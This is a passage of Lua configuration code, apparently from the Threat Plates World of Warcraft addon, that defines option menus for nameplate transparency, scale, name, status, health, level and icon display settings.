args = CreateHeadlineViewShowEntry(),
},
ShowByStatus = {
name = L["Force View By Status"],
order = 15,
type = "group",
inline = true,
args = {
-- ModeOoC = {
-- name = L["Out of Combat"],
-- order = 1,
-- type = "toggle",
-- width = "double",
-- arg = { "HeadlineView", "ForceOutOfCombat" }
-- },
-- ModeFriendlyInCombat = {
-- name = L["On Friendly Units in Combat"],
-- order = 2,
-- type = "toggle",
-- width = "double",
-- arg = { "HeadlineView", "ForceFriendlyInCombat" }
-- },
ModeCNA = {
name = L["On Enemy Units You Cannot Attack"],
order = 3,
type = "toggle",
width = "double",
arg = { "HeadlineView", "ForceNonAttackableUnits" }
},
}
},
Appearance = {
name = L["Appearance"],
type = "group",
inline = true,
order = 20,
args = {
TextureSettings = {
name = L["Highlight Texture"],
order = 30,
type = "group",
inline = true,
args = {
TargetHighlight = {
name = L["Show Target"],
order = 10,
type = "toggle",
arg = { "HeadlineView", "ShowTargetHighlight" },
set = function(info, val)
SetValuePlain(info, val)
Addon.Widgets:UpdateSettings("TargetArt")
end,
},
TargetMouseoverHighlight = {
name = L["Show Mouseover"],
order = 20,
type = "toggle",
desc = L["Show the mouseover highlight on all units."],
arg = { "HeadlineView", "ShowMouseoverHighlight" },
set = SetThemeValue,
},
},
},
Transparency = {
name = L["Transparency & Scaling"],
order = 40,
type = "group",
inline = true,
args = {
Transparency = {
name = L["Use transparency settings of Healthbar View also for Headline View."],
type = "toggle",
order = 1,
width = "full",
arg = { "HeadlineView", "useAlpha" },
},
Scaling = {
name = L["Use scale settings of Healthbar View also for Headline View."],
type = "toggle",
order = 10,
width = "full",
arg = { "HeadlineView", "useScaling" },
},
},
},
},
},
},
},
CastBarSettings = CreateCastbarOptions(),
Transparency = {
name = L["Transparency"],
type = "group",
order = 40,
args = {
Fading = {
name = L["Fading"],
type = "group",
order = 5,
inline = true,
args = {
Enable = {
type = "toggle",
order = 10,
name = "Enable Fade-In",
desc = L["This option allows you to control whether nameplates should fade in when displayed."],
width = "full",
arg = { "Transparency", "Fading" },
},
},
},
Situational = {
name = L["Situational Transparency"],
type = "group",
order = 10,
inline = true,
args = {
Help = {
name = L["Change the transparency of nameplates in certain situations, overwriting all other settings."],
order = 0,
type = "description",
width = "full",
},
MarkedUnitEnable = {
name = L["Target Marked"],
order = 10,
type = "toggle",
arg = { "nameplate", "toggle", "MarkedA" },
},
MarkedUnitAlpha = GetTransparencyEntryDefault(11, { "nameplate", "alpha", "Marked" }),
MouseoverUnitEnable = {
name = L["Mouseover"],
order = 20,
type = "toggle",
arg = { "nameplate", "toggle", "MouseoverUnitAlpha" },
},
MouseoverUnitAlpha = GetTransparencyEntryDefault(21, { "nameplate", "alpha", "MouseoverUnit" }),
CastingFriendlyUnitEnable = {
name = L["Friendly Casting"],
order = 30,
type = "toggle",
arg = { "nameplate", "toggle", "CastingUnitAlpha" },
},
CastingFriendlyUnitAlpha = GetTransparencyEntryDefault(31, { "nameplate", "alpha", "CastingUnit" }),
CastingEnemyUnitEnable = {
name = L["Enemy Casting"],
order = 40,
type = "toggle",
arg = { "nameplate", "toggle", "CastingEnemyUnitAlpha" },
},
CastingEnemyUnitAlpha = GetTransparencyEntryDefault(41, { "nameplate", "alpha", "CastingEnemyUnit" }),
},
},
Target = {
name = L["Target-based Transparency"],
type = "group",
order = 20,
inline = true,
args = {
Help = {
name = L["Change the transparency of nameplates depending on whether a target unit is selected or not. As default, this transparency is added to the unit base transparency."],
order = 0,
type = "description",
width = "full",
},
AlphaTarget = {
name = L["Target"],
order = 10,
type = "toggle",
desc = L["The target nameplate's transparency if a target unit is selected."],
arg = { "nameplate", "toggle", "TargetA" },
},
AlphaTargetSet = GetTransparencyEntryOffset(11, { "nameplate", "alpha", "Target" }),
AlphaNonTarget = {
name = L["Non-Target"],
order = 20,
type = "toggle",
desc = L["The transparency of non-target nameplates if a target unit is selected."],
arg = { "nameplate", "toggle", "NonTargetA" },
},
AlphaNonTargetSet = GetTransparencyEntryOffset(21, { "nameplate", "alpha", "NonTarget" }),
AlphaNoTarget = {
name = L["No Target"],
order = 30,
type = "toggle",
desc = L["The transparency of all nameplates if you have no target unit selected."],
arg = { "nameplate", "toggle", "NoTargetA" },
},
AlphaNoTargetSet = GetTransparencyEntryOffset(32, { "nameplate", "alpha", "NoTarget" }),
Spacer = GetSpacerEntry(40),
AddTargetAlpha = {
--name = L["Absolut Transparency"],
name = L["Use target-based transparency as absolute transparency and ignore unit base transparency."],
order = 50,
type = "toggle",
width = "full",
--desc = L["Uses the target-based transparency as absolute transparency and ignore unit base transparency."],
arg = { "nameplate", "alpha", "AbsoluteTargetAlpha" },
},
},
},
OccludedUnits = {
name = L["Occluded Units"],
type = "group",
order = 25,
inline = true,
args = {
Help = {
name = L["Change the transparency of nameplates for occluded units (e.g., units behind walls)."],
order = 0,
type = "description",
width = "full",
},
ImportantNotice = {
name = L["|cffff0000IMPORTANT: Enabling this feature changes console variables (CVars) which will change the appearance of default Blizzard nameplates. Disabling this feature will reset these CVars to the original value they had when you enabled this feature.|r"],
order = 1,
type = "description",
width = "full",
},
OccludedUnitsEnable = {
name = L["Enable"],
order = 10,
type = "toggle",
set = function(info, value)
info = t.CopyTable(info)
Addon:CallbackWhenOoC(function()
if value then
Addon:SetCVarsForOcclusionDetection()
else
Addon.CVars:RestoreFromProfile("nameplateMinAlpha")
Addon.CVars:RestoreFromProfile("nameplateMaxAlpha")
Addon.CVars:RestoreFromProfile("nameplateSelectedAlpha")
Addon.CVars:RestoreFromProfile("nameplateOccludedAlphaMult")
end
SetValue(info, value)
end, L["Unable to change transparency for occluded units while in combat."])
end,
arg = { "nameplate", "toggle", "OccludedUnits" },
},
OccludedUnitsAlpha = GetTransparencyEntryDefault(11, { "nameplate", "alpha", "OccludedUnits" }),
},
},
NameplateAlpha = {
name = L["Unit Base Transparency"],
type = "group",
order = 30,
inline = true,
args = {
Help = {
name = L["Define base alpha settings for various unit types. Only one of these settings is applied to a unit at the same time, i.e., they are mutually exclusive."],
order = 0,
type = "description",
width = "full",
},
Header1 = { type = "header", order = 10, name = L["Friendly & Neutral Units"], },
FriendlyPlayers = GetTransparencyEntry(L["Friendly Players"], 11, { "nameplate", "alpha", "FriendlyPlayer" }),
FriendlyNPCs = GetTransparencyEntry(L["Friendly NPCs"], 12, { "nameplate", "alpha", "FriendlyNPC" }),
NeutralNPCs = GetTransparencyEntry(L["Neutral NPCs"], 13, { "nameplate", "alpha", "Neutral" }),
Header2 = { type = "header", order = 20, name = L["Enemy Units"], },
EnemyPlayers = GetTransparencyEntry(L["Enemy Players"], 21, { "nameplate", "alpha", "EnemyPlayer" }),
EnemyNPCs = GetTransparencyEntry(L["Enemy NPCs"], 22, { "nameplate", "alpha", "EnemyNPC" }),
EnemyElite = GetTransparencyEntry(L["Rares & Elites"], 23, { "nameplate", "alpha", "Elite" }),
EnemyBoss = GetTransparencyEntry(L["Bosses"], 24, { "nameplate", "alpha", "Boss" }),
Header3 = { type = "header", order = 30, name = L["Minions & By Status"], },
Guardians = GetTransparencyEntry(L["Guardians"], 31, { "nameplate", "alpha", "Guardian" }),
Pets = GetTransparencyEntry(L["Pets"], 32, { "nameplate", "alpha", "Pet" }),
Minus = GetTransparencyEntry(L["Minor"], 33, { "nameplate", "alpha", "Minus" }),
Tapped = GetTransparencyEntry(L["Tapped Units"], 41, { "nameplate", "alpha", "Tapped" }),
},
},
},
},
Scale = {
name = L["Scale"],
type = "group",
order = 50,
args = {
Situational = {
name = L["Situational Scale"],
type = "group",
order = 10,
inline = true,
args = {
Help = {
name = L["Change the scale of nameplates in certain situations, overwriting all other settings."],
order = 0,
type = "description",
width = "full",
},
MarkedUnitEnable = {
name = L["Target Marked"],
type = "toggle",
order = 10,
arg = { "nameplate", "toggle", "MarkedS" },
},
MarkedUnitScale = GetScaleEntryDefault(11, { "nameplate", "scale", "Marked" }),
MouseoverUnitEnable = {
name = L["Mouseover"],
order = 20,
type = "toggle",
arg = { "nameplate", "toggle", "MouseoverUnitScale" },
},
MouseoverUnitScale = GetScaleEntryDefault(21, { "nameplate", "scale", "MouseoverUnit" }),
CastingFriendlyUnitsEnable = {
name = L["Friendly Casting"],
order = 30,
type = "toggle",
arg = { "nameplate", "toggle", "CastingUnitScale" },
},
CastingFriendlyUnitsScale = GetScaleEntryDefault(31, { "nameplate", "scale", "CastingUnit" }),
CastingEnemyUnitsEnable = {
name = L["Enemy Casting"],
order = 40,
type = "toggle",
arg = { "nameplate", "toggle", "CastingEnemyUnitScale" },
},
CastingEnemyUnitsScale = GetScaleEntryDefault(41, { "nameplate", "scale", "CastingEnemyUnit" }),
},
},
Target = {
name = L["Target-based Scale"],
type = "group",
order = 20,
inline = true,
args = {
Help = {
name = L["Change the scale of nameplates depending on whether a target unit is selected or not. As default, this scale is added to the unit base scale."],
order = 0,
type = "description",
width = "full",
},
ScaleTarget = {
name = L["Target"],
order = 10,
type = "toggle",
desc = L["The target nameplate's scale if a target unit is selected."],
arg = { "nameplate", "toggle", "TargetS" },
},
ScaleTargetSet = GetScaleEntryOffset(11, { "nameplate", "scale", "Target" }),
ScaleNonTarget = {
name = L["Non-Target"],
order = 20,
type = "toggle",
desc = L["The scale of non-target nameplates if a target unit is selected."],
arg = { "nameplate", "toggle", "NonTargetS" },
},
ScaleNonTargetSet = GetScaleEntryOffset(21, { "nameplate", "scale", "NonTarget" }),
ScaleNoTarget = {
name = L["No Target"],
order = 30,
type = "toggle",
desc = L["The scale of all nameplates if you have no target unit selected."],
arg = { "nameplate", "toggle", "NoTargetS" },
},
ScaleNoTargetSet = GetScaleEntryOffset(31, { "nameplate", "scale", "NoTarget" }),
Spacer = GetSpacerEntry(40),
AddTargetScale = {
name = L["Use target-based scale as absolute scale and ignore unit base scale."],
order = 50,
type = "toggle",
width = "full",
arg = { "nameplate", "scale", "AbsoluteTargetScale" },
},
},
},
NameplateScale = {
name = L["Unit Base Scale"],
type = "group",
order = 30,
inline = true,
args = {
Help = {
name = L["Define base scale settings for various unit types. Only one of these settings is applied to a unit at the same time, i.e., they are mutually exclusive."],
order = 0,
type = "description",
width = "full",
},
Header1 = { type = "header", order = 10, name = "Friendly & Neutral Units", },
FriendlyPlayers = GetScaleEntry(L["Friendly Players"], 11, { "nameplate", "scale", "FriendlyPlayer" }),
FriendlyNPCs = GetScaleEntry(L["Friendly NPCs"], 12, { "nameplate", "scale", "FriendlyNPC" }),
NeutralNPCs = GetScaleEntry(L["Neutral NPCs"], 13, { "nameplate", "scale", "Neutral" }),
Header2 = { type = "header", order = 20, name = "Enemy Units", },
EnemyPlayers = GetScaleEntry(L["Enemy Players"], 21, { "nameplate", "scale", "EnemyPlayer" }),
EnemyNPCs = GetScaleEntry(L["Enemy NPCs"], 22, { "nameplate", "scale", "EnemyNPC" }),
EnemyElite = GetScaleEntry(L["Rares & Elites"], 23, { "nameplate", "scale", "Elite" }),
EnemyBoss = GetScaleEntry(L["Bosses"], 24, { "nameplate", "scale", "Boss" }),
Header3 = { type = "header", order = 30, name = "Minions & By Status", },
Guardians = GetScaleEntry(L["Guardians"], 31, { "nameplate", "scale", "Guardian" }),
Pets = GetScaleEntry(L["Pets"], 32, { "nameplate", "scale", "Pet" }),
Minus = GetScaleEntry(L["Minor"], 33, { "nameplate", "scale", "Minus" }),
Tapped = GetScaleEntry(L["Tapped Units"], 41, { "nameplate", "scale", "Tapped" }),
},
},
},
},
Names = {
name = L["Names"],
type = "group",
order = 65,
args = {
HealthbarView = {
name = L["Healthbar View"],
order = 10,
type = "group",
inline = true,
args = {
Enable = GetEnableEntryTheme(L["Show Name Text"], L["This option allows you to control whether a unit's name is hidden or shown on nameplates."], "name"),
Font = GetFontEntryTheme(10, "name"),
Color = {
name = L["Colors"],
order = 20,
type = "group",
inline = true,
set = SetThemeValue,
args = {
FriendlyColor = {
name = L["Friendly Name Color"],
order = 10,
type = "select",
values = t.FRIENDLY_TEXT_COLOR,
arg = { "settings", "name", "FriendlyTextColorMode" }
},
FriendlyColorCustom = GetColorEntry(L["Custom Color"], 20, { "settings", "name", "FriendlyTextColor" }),
EnemyColor = {
name = L["Enemy Name Color"],
order = 30,
type = "select",
values = t.ENEMY_TEXT_COLOR,
arg = { "settings", "name", "EnemyTextColorMode" }
},
EnemyColorCustom = GetColorEntry(L["Custom Color"], 40, { "settings", "name", "EnemyTextColor" }),
Spacer1 = GetSpacerEntry(50),
EnableRaidMarks = {
name = L["Color by Target Mark"],
order = 60,
type = "toggle",
width = "full",
desc = L["Additionally color the name based on the target mark if the unit is marked."],
descStyle = "inline",
set = SetValue,
arg = { "settings", "name", "UseRaidMarkColoring" },
},
},
},
Placement = {
name = L["Placement"],
order = 30,
type = "group",
inline = true,
args = {
X = { name = L["X"], type = "range", order = 1, set = SetThemeValue, arg = { "settings", "name", "x" }, max = 120, min = -120, step = 1, isPercent = false, },
Y = { name = L["Y"], type = "range", order = 2, set = SetThemeValue, arg = { "settings", "name", "y" }, max = 120, min = -120, step = 1, isPercent = false, },
AlignH = { name = L["Horizontal Align"], type = "select", order = 4, values = t.AlignH, set = SetThemeValue, arg = { "settings", "name", "align" }, },
AlignV = { name = L["Vertical Align"], type = "select", order = 5, values = t.AlignV, set = SetThemeValue, arg = { "settings", "name", "vertical" }, },
},
},
},
},
HeadlineView = {
name = L["Headline View"],
order = 20,
type = "group",
inline = true,
args = {
Font = {
name = L["Font"],
type = "group",
inline = true,
order = 10,
args = {
Size = {
name = L["Size"],
order = 20,
type = "range",
set = SetThemeValue,
arg = { "HeadlineView", "name", "size" },
max = 36,
min = 6,
step = 1,
isPercent = false,
},
},
},
Color = {
name = L["Colors"],
order = 20,
type = "group",
inline = true,
args = {
FriendlyColor = {
name = L["Friendly Names Color"],
order = 10,
type = "select",
values = t.FRIENDLY_TEXT_COLOR,
arg = { "HeadlineView", "FriendlyTextColorMode" }
},
FriendlyColorCustom = GetColorEntry(L["Custom Color"], 20, { "HeadlineView", "FriendlyTextColor" }),
EnemyColor = {
name = L["Enemy Name Color"],
order = 30,
type = "select",
values = t.ENEMY_TEXT_COLOR,
arg = { "HeadlineView", "EnemyTextColorMode" }
},
EnemyColorCustom = GetColorEntry(L["Custom Color"], 40, { "HeadlineView", "EnemyTextColor" }),
Spacer1 = GetSpacerEntry(50),
EnableRaidMarks = {
name = L["Color by Target Mark"],
order = 60,
type = "toggle",
width = "full",
desc = L["Additionally color the name based on the target mark if the unit is marked."],
descStyle = "inline",
set = SetValue,
arg = { "HeadlineView", "UseRaidMarkColoring" },
},
},
},
Placement = {
name = L["Placement"],
order = 30,
type = "group",
inline = true,
args = {
X = { name = L["X"], type = "range", order = 1, set = SetThemeValue, arg = { "HeadlineView", "name", "x" }, max = 120, min = -120, step = 1, isPercent = false, },
Y = { name = L["Y"], type = "range", order = 2, set = SetThemeValue, arg = { "HeadlineView", "name", "y" }, max = 120, min = -120, step = 1, isPercent = false, },
AlignH = { name = L["Horizontal Align"], type = "select", order = 4, values = t.AlignH, set = SetThemeValue, arg = { "HeadlineView", "name", "align" }, },
AlignV = { name = L["Vertical Align"], type = "select", order = 5, values = t.AlignV, set = SetThemeValue, arg = { "HeadlineView", "name", "vertical" }, },
},
},
},
},
Boundaries = GetBoundariesEntry(30, "name"),
},
},
Statustext = {
name = L["Status Text"],
type = "group",
order = 70,
args = {
HealthbarView = {
name = L["Healthbar View"],
order = 10,
type = "group",
inline = true,
args = {
-- Enable = GetEnableEntryTheme(L["Show Health Text"], L["This option allows you to control whether a unit's health is hidden or shown on nameplates."], "customtext"),
FriendlySubtext = {
name = L["Friendly Status Text"],
order = 10,
type = "select",
values = t.FRIENDLY_SUBTEXT,
arg = { "settings", "customtext", "FriendlySubtext"}
},
Spacer1 = { name = "", order = 15, type = "description", width = "half", },
EnemySubtext = {
name = L["Enemy Status Text"],
order = 20,
type = "select",
values = t.ENEMY_SUBTEXT,
arg = { "settings", "customtext", "EnemySubtext"}
},
Spacer2 = GetSpacerEntry(30),
SubtextColor = {
name = L["Color"],
order = 40,
type = "group",
inline = true,
args = {
SubtextColorHeadline = {
name = L["Same as Name"],
order = 10,
type = "toggle",
set = function(info, val)
TidyPlatesThreat.db.profile.settings.customtext.SubtextColorUseSpecific = false
SetValue(info, true)
end,
arg = { "settings", "customtext", "SubtextColorUseHeadline" },
},
SubtextColorSpecific = {
name = L["Status Text"],
order = 20,
type = "toggle",
arg = { "settings", "customtext", "SubtextColorUseSpecific" },
set = function(info, val)
TidyPlatesThreat.db.profile.settings.customtext.SubtextColorUseHeadline = false
SetValue(info, true)
end,
},
SubtextColorCustom = {
name = L["Custom"],
order = 30,
type = "toggle",
width = "half",
set = function(info, val)
TidyPlatesThreat.db.profile.settings.customtext.SubtextColorUseHeadline = false
TidyPlatesThreat.db.profile.settings.customtext.SubtextColorUseSpecific = false
Addon:ForceUpdate()
end,
get = function(info) return not (TidyPlatesThreat.db.profile.settings.customtext.SubtextColorUseHeadline or TidyPlatesThreat.db.profile.settings.customtext.SubtextColorUseSpecific) end,
},
SubtextColorCustomColor = GetColorAlphaEntry(35, { "settings", "customtext", "SubtextColor" },
function() return (TidyPlatesThreat.db.profile.settings.customtext.SubtextColorUseHeadline or TidyPlatesThreat.db.profile.settings.customtext.SubtextColorUseSpecific) end ),
},
},
Font = GetFontEntryTheme(50, "customtext"),
Placement = {
name = L["Placement"],
order = 60,
type = "group",
inline = true,
set = SetThemeValue,
args = {
X = { name = L["X"], type = "range", order = 1, arg = { "settings", "customtext", "x" }, max = 120, min = -120, step = 1, isPercent = false, },
Y = { name = L["Y"], type = "range", order = 2, arg = { "settings", "customtext", "y" }, max = 120, min = -120, step = 1, isPercent = false, },
AlignH = { name = L["Horizontal Align"], type = "select", order = 4, values = t.AlignH, arg = { "settings", "customtext", "align" }, },
AlignV = { name = L["Vertical Align"], type = "select", order = 5, values = t.AlignV, arg = { "settings", "customtext", "vertical" }, },
},
},
},
},
HeadlineView = {
name = L["Headline View"],
order = 20,
type = "group",
inline = true,
args = {
FriendlySubtext = {
name = L["Friendly Custom Text"],
order = 10,
type = "select",
values = t.FRIENDLY_SUBTEXT,
arg = {"HeadlineView", "FriendlySubtext"}
},
Spacer1 = { name = "", order = 15, type = "description", width = "half", },
EnemySubtext = {
name = L["Enemy Custom Text"],
order = 20,
type = "select",
values = t.ENEMY_SUBTEXT,
arg = {"HeadlineView", "EnemySubtext"}
},
Spacer2 = GetSpacerEntry(25),
SubtextColor = {
name = L["Color"],
order = 40,
type = "group",
inline = true,
args = {
SubtextColorHeadline = {
name = L["Same as Name"],
order = 10,
type = "toggle",
arg = { "HeadlineView", "SubtextColorUseHeadline" },
set = function(info, val)
TidyPlatesThreat.db.profile.HeadlineView.SubtextColorUseSpecific = false
SetValue(info, true)
end,
},
SubtextColorSpecific = {
name = L["Status Text"],
order = 20,
type = "toggle",
arg = { "HeadlineView", "SubtextColorUseSpecific" },
set = function(info, val)
TidyPlatesThreat.db.profile.HeadlineView.SubtextColorUseHeadline = false
SetValue(info, true)
end,
},
SubtextColorCustom = {
name = L["Custom"],
order = 30,
type = "toggle",
width = "half",
set = function(info, val)
TidyPlatesThreat.db.profile.HeadlineView.SubtextColorUseHeadline = false
TidyPlatesThreat.db.profile.HeadlineView.SubtextColorUseSpecific = false
Addon:ForceUpdate()
end,
get = function(info) return not (TidyPlatesThreat.db.profile.HeadlineView.SubtextColorUseHeadline or TidyPlatesThreat.db.profile.HeadlineView.SubtextColorUseSpecific) end,
},
SubtextColorCustomColor = GetColorAlphaEntry(35, { "HeadlineView", "SubtextColor" },
function() return (TidyPlatesThreat.db.profile.HeadlineView.SubtextColorUseHeadline or TidyPlatesThreat.db.profile.HeadlineView.SubtextColorUseSpecific) end ),
},
},
-- Font = GetFontEntry(50, { "HeadlineView", "name" } ),
Font = {
name = L["Font"],
type = "group",
inline = true,
order = 50,
args = {
Size = {
name = L["Size"],
order = 20,
type = "range",
set = SetThemeValue,
arg = { "HeadlineView", "customtext", "size" },
max = 36,
min = 6,
step = 1,
isPercent = false,
},
},
},
Placement = {
name = L["Placement"],
order = 60,
type = "group",
inline = true,
set = SetThemeValue,
args = {
X = { name = L["X"], type = "range", order = 1, arg = { "HeadlineView", "customtext", "x" }, max = 120, min = -120, step = 1, isPercent = false, },
Y = { name = L["Y"], type = "range", order = 2, arg = { "HeadlineView", "customtext", "y" }, max = 120, min = -120, step = 1, isPercent = false, },
AlignH = { name = L["Horizontal Align"], type = "select", order = 4, values = t.AlignH, arg = { "HeadlineView", "customtext", "align" }, },
AlignV = { name = L["Vertical Align"], type = "select", order = 5, values = t.AlignV, arg = { "HeadlineView", "customtext", "vertical" }, },
},
},
},
},
HealthText = {
name = L["Health Text"],
order = 30,
type = "group",
inline = true,
set = SetThemeValue,
args = {
EnableAmount = {
name = L["Amount"],
type = "toggle",
order = 10,
desc = L["Display health amount text."],
arg = { "text", "amount" }
},
MaxHP = {
name = L["Max Health"],
type = "toggle",
order = 20,
desc = L["This will format text to show both the maximum hp and current hp."],
arg = { "text", "max" },
disabled = function() return not db.text.amount end
},
Deficit = {
name = L["Deficit"],
type = "toggle",
order = 30,
desc = L["This will format text to show hp as a value the target is missing."],
arg = { "text", "deficit" },
disabled = function() return not db.text.amount end
},
EnablePercent = {
name = L["Percentage"],
type = "toggle",
order = 40,
desc = L["Display health percentage text."],
arg = { "text", "percent" }
},
Spacer1 = GetSpacerEntry(50),
Full = {
name = L["Full Health"],
type = "toggle",
order = 60,
desc = L["Display health text on units with full health."],
arg = { "text", "full" }
},
Truncate = {
name = L["Shorten"],
type = "toggle",
order = 70,
desc = L["This will format text to a simpler format using M or K for millions and thousands. Disabling this will show exact health amounts."],
arg = { "text", "truncate" },
},
UseLocalizedUnit = {
name = L["Localization"],
type = "toggle",
order = 80,
desc = L["If enabled, the truncated health text will be localized, i.e. local metric unit symbols (like k for thousands) will be used."],
arg = { "text", "LocalizedUnitSymbol" }
},
},
},
AbsorbsText = {
name = L["Absorbs Text"],
order = 35,
type = "group",
inline = true,
set = SetThemeValue,
args = {
EnableAmount = {
name = L["Amount"],
type = "toggle",
order = 10,
desc = L["Display absorbs amount text."],
arg = { "text", "AbsorbsAmount" }
},
EnableShorten = {
name = L["Shorten"],
type = "toggle",
order = 20,
desc = L["This will format text to a simpler format using M or K for millions and thousands. Disabling this will show exact absorbs amounts."],
arg = { "text", "AbsorbsShorten" },
disabled = function() return not db.text.AbsorbsAmount end
},
EnablePercentage = {
name = L["Percentage"],
type = "toggle",
order = 30,
desc = L["Display absorbs percentage text."],
arg = { "text", "AbsorbsPercentage" }
},
},
},
Boundaries = GetBoundariesEntry(40, "customtext"),
},
},
Leveltext = {
name = L["Level Text"],
type = "group",
order = 90,
args = {
Enable = GetEnableEntryTheme(L["Show Level Text"], L["This option allows you to control whether a unit's level is hidden or shown on nameplates."], "level"),
Font = GetFontEntryTheme(10, "level"),
Placement = {
name = L["Placement"],
order = 20,
type = "group",
inline = true,
args = {
X = {
name = L["X"],
type = "range",
order = 1,
set = SetThemeValue,
arg = { "settings", "level", "x" },
max = 120,
min = -120,
step = 1,
isPercent = false,
},
Y = {
name = L["Y"],
type = "range",
order = 2,
set = SetThemeValue,
arg = { "settings", "level", "y" },
max = 120,
min = -120,
step = 1,
isPercent = false,
},
AlignH = {
name = L["Horizontal Align"],
type = "select",
order = 3,
values = t.AlignH,
set = SetThemeValue,
arg = { "settings", "level", "align" },
},
AlignV = {
name = L["Vertical Align"],
type = "select",
order = 4,
values = t.AlignV,
set = SetThemeValue,
arg = { "settings", "level", "vertical" },
},
},
},
Boundaries = GetBoundariesEntry(30, "level"),
},
},
EliteIcon = {
name = L["Rares & Elites"],
type = "group",
order = 100,
set = SetThemeValue,
args = {
Enable = GetEnableEntryTheme(L["Show Icon for Rares & Elites"], L["This option allows you to control whether the icon for rare & elite units is hidden or shown on nameplates."], "eliteicon"),
Texture = {
name = L["Symbol"],
type = "group",
inline = true,
order = 20,
-- disabled = function() if db.settings.eliteicon.show then return false else return true end end,
args = {
Style = {
type = "select",
order = 10,
name = L["Icon Style"],
--Blizzard Dragon <- TARGETINGFRAME\\Nameplates.png
values = { default = "Default", stddragon = "Blizzard Dragon", skullandcross = "Skull and Crossbones" },
set = function(info, val)
SetThemeValue(info, val)
options.args.NameplateSettings.args.EliteIcon.args.Texture.args.PreviewRare.image = "Interface\\AddOns\\TidyPlates_ThreatPlates\\Widgets\\EliteArtWidget\\" .. val
options.args.NameplateSettings.args.EliteIcon.args.Texture.args.PreviewElite.image = "Interface\\AddOns\\TidyPlates_ThreatPlates\\Widgets\\EliteArtWidget\\" .. "elite-" .. val
Addon:ForceUpdate()
end,
arg = { "settings", "eliteicon", "theme" },
},
PreviewRare = {
name = L["Preview Rare"],
type = "execute",
order = 20,
image = "Interface\\AddOns\\TidyPlates_ThreatPlates\\Widgets\\EliteArtWidget\\" .. db.settings.eliteicon.theme,
},
PreviewElite = {
name = L["Preview Elite"],
type = "execute",
order = 30,
image = "Interface\\AddOns\\TidyPlates_ThreatPlates\\Widgets\\EliteArtWidget\\" .. "elite-" .. db.settings.eliteicon.theme,
},
},
},
Layout = GetLayoutEntryTheme(30, "eliteicon"),
},
},
SkullIcon = {
name = L["Skull Icon"],
type = "group",
order = 110,
set = SetThemeValue,
args = {
Enable = GetEnableEntryTheme(L["Show Skull Icon"], L["This option allows you to control whether the skull icon for boss units is hidden or shown on nameplates."], "skullicon"),
Layout = GetLayoutEntryTheme(20, "skullicon"),
},
},
RaidMarks = CreateRaidMarksOptions(),
BlizzardSettings = CreateBlizzardSettings(),
-- TestSettings = {
-- name = "Test Settings",
-- type = "group",
-- order = 1000,
-- set = SetThemeValue,
-- hidden = true,
-- args = {
-- HealthHeaderBorder = { name = "Healthbar Border", type = "header", order = 10, },
-- HealthBorder = {
-- type = "select",
-- order = 20,
-- name = "Border",
-- dialogControl = "LSM30_Border",
-- values = AceGUIWidgetLSMlists.border,
-- arg = { "settings", "healthborder", "texture" },
-- },
-- HealthBorderEdgeSize = {
-- name = "Edge Size",
-- order = 30,
-- type = "range",
-- min = 0, max = 32, step = 0.5,
-- set = SetThemeValue,
-- arg = { "settings", "healthborder", "EdgeSize" },
-- },
-- HealthBorderOffset = {
-- name = "Offset",
-- order = 40,
-- type = "range",
-- min = -16, max = 16, step = 0.5,
-- set = SetThemeValue,
-- arg = { "settings", "healthborder", "Offset" },
-- },
-- EliteHeaderBorder = { name = L["Elite Border"], type = "header", order = 110, },
-- EliteBorder = {
-- type = "select",
-- order = 120,
-- name = "Elite Border",
-- values = { TP_EliteBorder_Default = "Default", TP_EliteBorder_Thin = "Thin" },
-- arg = { "settings", "elitehealthborder", "texture" }
-- },
-- EliteBorderEdgeSize = {
-- name = "Edge Size",
-- order = 130,
-- type = "range",
-- min = 0, max = 32, step = 0.5,
-- set = SetThemeValue,
-- arg = { "settings", "elitehealthborder", "EdgeSize" },
-- },
-- EliteBorderOffset = {
-- name = "Offset",
-- order = 140,
-- type = "range",
-- min = -16, max = 16, step = 0.5,
-- set = SetThemeValue,
-- arg = { "settings", "elitehealthborder", "Offset" },
-- },
-- TargetHeaderBorder = { name = "Target Border", type = "header", order = 210, },
-- TargetBorder = {
-- type = "select",
-- order = 220,
-- name = "Target Border",
-- values = { default = "Default", squarethin = "Thin Square" },
-- arg = { "targetWidget", "theme" },
-- },
-- TargetBorderEdgeSize = {
-- name = "Edge Size",
-- order = 230,
-- type = "range",
-- min = 0, max = 32, step = 1,
-- set = SetThemeValue,
-- arg = { "targetWidget", "EdgeSize" },
-- },
-- TargetBorderOffset = {
-- name = "Offset",
-- order = 240,
-- type = "range",
-- min = -16, max = 16, step = 0.5,
-- set = SetThemeValue,
-- arg = { "targetWidget", "Offset" },
-- },
-- MouseoverHeaderBorder = { name = "Mouseover Border", type = "header", order = 310, },
-- MouseoverBorderEdgeSize = {
-- name = L["Edge Size"],
-- order = 330,
-- type = "range",
-- min = 0, max = 32, step = 0.5,
-- set = SetThemeValue,
-- arg = { "settings", "highlight", "EdgeSize" },
-- },
-- MouseoverBorderOffset = {
-- name = "Offset",
-- order = 340,
-- type = "range",
-- min = -16, max = 16, step = 0.5,
-- set = SetThemeValue,
-- arg = { "settings", "highlight", "Offset" },
-- },
-- ThreatHeaderBorder = { name = "Threat Glow Border", type = "header", order = 410, },
-- ThreatBorderEdgeSize = {
-- name = "Edge Size",
-- order = 430,
-- type = "range",
-- min = 0, max = 32, step = 0.5,
-- set = SetThemeValue,
-- arg = { "settings", "threatborder", "EdgeSize" },
-- },
-- ThreatBorderOffset = {
-- name = "Offset",
-- order = 440,
-- type = "range",
-- min = -16, max = 16, step = 0.5,
-- set = SetThemeValue,
-- arg = { "settings", "threatborder", "Offset" },
-- },
-- TestHeaderBorder = { name = "Test Widget", type = "header", order = 500, },
-- Width = GetRangeEntry("Bar Width", 501, { "TestWidget", "BarWidth" }, 5, 500),
-- Height = GetRangeEntry("Bar Height", 502, { "TestWidget", "BarHeight" }, 1, 100),
-- TestBarTexture = {
-- name = "Foreground",
-- type = "select",
-- order = 505,
-- dialogControl = "LSM30_Statusbar",
-- values = AceGUIWidgetLSMlists.statusbar,
-- set = SetThemeValue,
-- arg = { "TestWidget", "BarTexture" },
-- },
-- TestBarBorder = {
-- type = "select",
-- order = 510,
-- name = "Border Texture",
-- dialogControl = "LSM30_Border",
-- values = AceGUIWidgetLSMlists.border,
-- arg = { "TestWidget", "BorderTexture" },
-- },
-- TestBarBackgroundTexture = {
-- name = "Background",
-- type = "select",
-- order = 520,
-- dialogControl = "LSM30_Statusbar",
-- values = AceGUIWidgetLSMlists.statusbar,
-- arg = { "TestWidget", "BorderBackground" },
-- },
-- TestBorderEdgeSize = {
-- name = "Edge Size",
